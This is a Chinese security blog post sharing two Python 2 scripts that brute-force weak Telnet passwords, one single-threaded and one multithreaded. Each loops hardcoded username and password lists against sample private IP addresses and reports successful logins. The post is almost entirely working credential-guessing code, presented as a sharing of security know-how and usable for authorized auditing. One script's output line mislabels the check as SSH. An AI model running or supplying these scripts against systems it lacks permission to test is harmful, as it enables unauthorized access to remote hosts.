Telnet弱口令猜解【Python脚本】

 

telnet 弱口令猜解脚本  

测试环境:window2003、centos7

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#! /usr/bin/env python
# _*_  coding:utf-8 _*_
 
import telnetlib
username_list=['xiaozi','administrator']
password_list=['root','','abc123!','123456','password','root']
 
def telnet(ip,port=23):
    for username in username_list:
        user =username.rstrip()
        for password in password_list:
            pwd = password.rstrip()
            try:
                tn = telnetlib.Telnet(ip,timeout=5)
                tn.set_debuglevel(0)
                tn.read_until("login: ")
                tn.write(user + '\r\n')
 
                tn.read_until("assword: ")
                tn.write(pwd + '\r\n')
 
                result = tn.read_some()
                result = result+tn.read_some()
 
                if result.find('Login Fail')>0 or result.find('incorrect')>0:
                    print "[-] Checking for"+user,pwd+" fail"
                else:
                    print "[+] Success login for "+user,pwd
                tn.close()
            except:
                print '[-] Something Error'+username,password+" fail"
if __name__ == '__main__':
    telnet('192.168.106.131')
    print "========================================"
    telnet('192.168.106.143')

 

多线程版本

复制代码
#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import telnetlib
import time
import threadpool
from threading import *
screenLock = Semaphore(value=2)
start_time = time.time()

def telnet_login(ip,port,user,pwd):

    try:
        screenLock.acquire()
        tn = telnetlib.Telnet(ip,timeout=5)
        tn.set_debuglevel(0)
        tn.read_until("login: ")
        tn.write(user + '\r\n')
        tn.read_until("assword: ")
        tn.write(pwd + '\r\n')
        result = tn.read_some()
        result = result+tn.read_some()
    
        if result.find('Login Fail')>0 or result.find('incorrect')>0:
        
            print "[-] Checking for "+user,pwd+" fail"
        else:
            print "[+] Success login for "+user,pwd
        tn.close()
        screenLock.release()
    except:
        print '[-] Something Error '+user,pwd+" fail"
    
    finally:
        pass
def getuserdic(ip,port):
    username_list=['xiaozi','administrator']
    password_list=['root','','abc123!','123456','password','root']
    userlist = []
    for username in username_list:
        user =username.rstrip()
        for password in password_list:
            pwd = password.rstrip()
            userdic ={}
            userdic['ip']=ip
            userdic['port']=port
            userdic['user']=user
            userdic['pwd'] = pwd
            tmp=(None,userdic)
            userlist.append(tmp)
    return userlist
def telnet(ip,port):
    userlist = getuserdic(ip,port)
    pool = threadpool.ThreadPool(10)  
    requests = threadpool.makeRequests(telnet_login,userlist)  
    [pool.putRequest(req) for req in requests]  
    pool.wait()  

        
if __name__ == '__main__':
    start_time = time.time()
    telnet('10.9.10.205',23)    
    print 'Checking for SSH weak password:%d' % (time.time() - start_time)
复制代码

 

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考文章:

http://blog.csdn.net/leonard_wang/article/details/52160674

 

posted @   Bypass  阅读(3512)  评论(0编辑  收藏  举报
编辑推荐:
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫
点击右上角即可分享
微信分享提示